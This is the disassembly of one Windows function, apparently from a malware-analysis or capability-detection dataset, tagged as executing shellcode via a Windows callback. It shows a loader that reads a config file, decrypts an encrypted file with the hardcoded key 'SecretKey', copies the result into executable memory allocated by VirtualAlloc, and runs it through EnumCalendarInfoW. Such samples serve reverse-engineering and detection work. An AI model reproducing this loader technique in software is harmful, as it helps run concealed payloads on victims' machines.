Function at 0x1400019f0
Capabilities:
Execute shellcode via windows callback function

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0x4b8
mov rdi, rsp
mov ecx, 0x12e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x4d0]
mov qword [rsp + 0x488], 0xfffffffffffffffe
mov rax, qword [0x140012010]
xor rax, rsp
mov qword [rsp + 0x4a0], rax
lea rdx, str.config.ini
lea rcx, [rsp + 0x38]
call fcn.1400023c0
nop
lea rax, [rsp + 0x80]
mov rdi, rax
xor eax, eax
mov ecx, 0x110
rep stosb byte [rdi], al
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 1
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x80]
call fcn.140002620
nop
mov rax, qword [rsp + 0x80]
movsxd rax, dword [rax + 4]
mov eax, dword [rsp + rax + 0x90]
mov dword [rsp + 0x3e8], eax
mov eax, dword [rsp + 0x3e8]
and eax, 6
test eax, eax
je 0x140001ab5
mov byte [rsp + 0x490], 1
jmp 0x140001abd
mov byte [rsp + 0x490], 0
movzx eax, byte [rsp + 0x490]
test eax, eax
je 0x140001b4e
lea rdx, str.open_config_file_error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140005fd0
lea rdx, [rsp + 0x38]
mov rcx, rax
call fcn.140006470
lea rdx, [0x1400064d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0x388], 1
lea rax, [rsp + 0x130]
mov rcx, rax
call fcn.140002560
lea rax, [rsp + 0x130]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x38]
call fcn.1400046c0
nop
lea rax, [rsp + 0x38]
mov qword [rsp + 0x400], rax
mov eax, dword [rsp + 0x388]
jmp 0x14000200c
lea rax, [rsp + 0x1a8]
mov qword [rsp + 0x410], rax
mov rax, qword [rsp + 0x410]
mov rcx, rax
call fcn.140007220
nop
lea rcx, [rsp + 0x1a8]
call fcn.1400047c0
nop
mov rax, qword [rsp + 0x80]
movsxd rax, dword [rax + 4]
lea rax, [rsp + rax + 0x80]
mov dl, 0xa
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rsp + 0x1a8]
lea rcx, [rsp + 0x80]
call fcn.140007920
lea rcx, [rsp + 0x80]
call fcn.1400024f0
lea rax, [rsp + 0x1f0]
mov rdi, rax
xor eax, eax
mov ecx, 0x110
rep stosb byte [rdi], al
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x20
lea rdx, [rsp + 0x1a8]
lea rcx, [rsp + 0x1f0]
call fcn.140002620
nop
mov rax, qword [rsp + 0x1f0]
movsxd rax, dword [rax + 4]
mov eax, dword [rsp + rax + 0x200]
mov dword [rsp + 0x420], eax
mov eax, dword [rsp + 0x420]
and eax, 6
test eax, eax
je 0x140001c32
mov byte [rsp + 0x491], 1
jmp 0x140001c3a
mov byte [rsp + 0x491], 0
movzx eax, byte [rsp + 0x491]
test eax, eax
je 0x140001d0e
lea rdx, str.open_encrypted_file_error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140005fd0
lea rdx, [rsp + 0x1a8]
mov rcx, rax
call fcn.140006470
lea rdx, [0x1400064d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0x38c], 1
lea rax, [rsp + 0x2a0]
mov rcx, rax
call fcn.140002560
lea rax, [rsp + 0x2a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x1a8]
call fcn.1400046c0
nop
lea rax, [rsp + 0x1a8]
mov qword [rsp + 0x438], rax
lea rax, [rsp + 0x130]
mov rcx, rax
call fcn.140002560
lea rax, [rsp + 0x130]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x38]
call fcn.1400046c0
nop
lea rax, [rsp + 0x38]
mov qword [rsp + 0x440], rax
mov eax, dword [rsp + 0x38c]
jmp 0x14000200c
mov r8d, 2
xor edx, edx
lea rcx, [rsp + 0x1f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
lea rdx, [rsp + 0x390]
lea rcx, [rsp + 0x1f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
mov qword [rsp + 0x448], rax
mov rax, qword [rsp + 0x448]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x448]
add rax, qword [rcx + 8]
mov qword [rsp + 0x308], rax
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x1f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
lea rax, [rsp + 0x318]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea r8, [rsp + 0x3a8]
mov rdx, qword [rsp + 0x308]
lea rcx, [rsp + 0x318]
call fcn.1400021d0
nop
mov rax, qword [rsp + 0x318]
mov qword [rsp + 0x450], rax
mov r8, qword [rsp + 0x308]
mov rdx, qword [rsp + 0x450]
lea rcx, [rsp + 0x1f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0x1f0]
call fcn.1400024f0
lea rax, [rsp + 0x348]
lea rcx, str.SecretKey
mov rdi, rax
mov rsi, rcx
mov ecx, 0xa
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x368], 9
mov rax, qword [rsp + 0x318]
mov qword [rsp + 0x458], rax
mov r9, qword [rsp + 0x368]
lea r8, [rsp + 0x348]
mov rdx, qword [rsp + 0x308]
mov rcx, qword [rsp + 0x458]
call fcn.140001940
mov rcx, qword [rsp + 0x308]
call fcn.1400085d8
mov qword [rsp + 0x3b0], rax
mov rax, qword [rsp + 0x3b0]
mov qword [rsp + 0x370], rax
mov rax, qword [rsp + 0x320]
mov qword [rsp + 0x460], rax
mov rax, qword [rsp + 0x460]
mov qword [rsp + 0x3b8], rax
mov rax, qword [rsp + 0x318]
mov qword [rsp + 0x468], rax
mov rax, qword [rsp + 0x468]
mov qword [rsp + 0x3c0], rax
mov r8, qword [rsp + 0x370]
mov rdx, qword [rsp + 0x3b8]
mov rcx, qword [rsp + 0x3c0]
call fcn.1400065a0
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, qword [rsp + 0x308]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x378], rax
mov r8, qword [rsp + 0x308]
mov rdx, qword [rsp + 0x370]
mov rcx, qword [rsp + 0x378]
call sub.VCRUNTIME140.dll_memmove
mov r9d, 0x15
mov r8d, 0xffffffff
mov edx, 0x400
mov rcx, qword [rsp + 0x378]
call qword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
mov rax, qword [rsp + 0x370]
mov qword [rsp + 0x3c8], rax
mov rcx, qword [rsp + 0x3c8]
call fcn.140008594
cmp qword [rsp + 0x3c8], 0
jne 0x140001f56
mov qword [rsp + 0x498], 0
jmp 0x140001f72
mov qword [rsp + 0x370], 0x8123
mov rax, qword [rsp + 0x370]
mov qword [rsp + 0x498], rax
mov dword [rsp + 0x3d0], 0
lea rcx, [rsp + 0x318]
call fcn.140004160
nop
lea rax, [rsp + 0x2a0]
mov rcx, rax
call fcn.140002560
lea rax, [rsp + 0x2a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x1a8]
call fcn.1400046c0
nop
lea rax, [rsp + 0x1a8]
mov qword [rsp + 0x478], rax
lea rax, [rsp + 0x130]
mov rcx, rax
call fcn.140002560
lea rax, [rsp + 0x130]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x38]
call fcn.1400046c0
nop
lea rax, [rsp + 0x38]
mov qword [rsp + 0x480], rax
mov eax, dword [rsp + 0x3d0]
mov rdi, rax
mov rcx, rsp
lea rdx, [0x14000d610]
call fcn.140009b30
mov rax, rdi
mov rcx, qword [rsp + 0x4a0]
xor rcx, rsp
call fcn.140008570
add rsp, 0x4b8
pop rdi
pop rsi
ret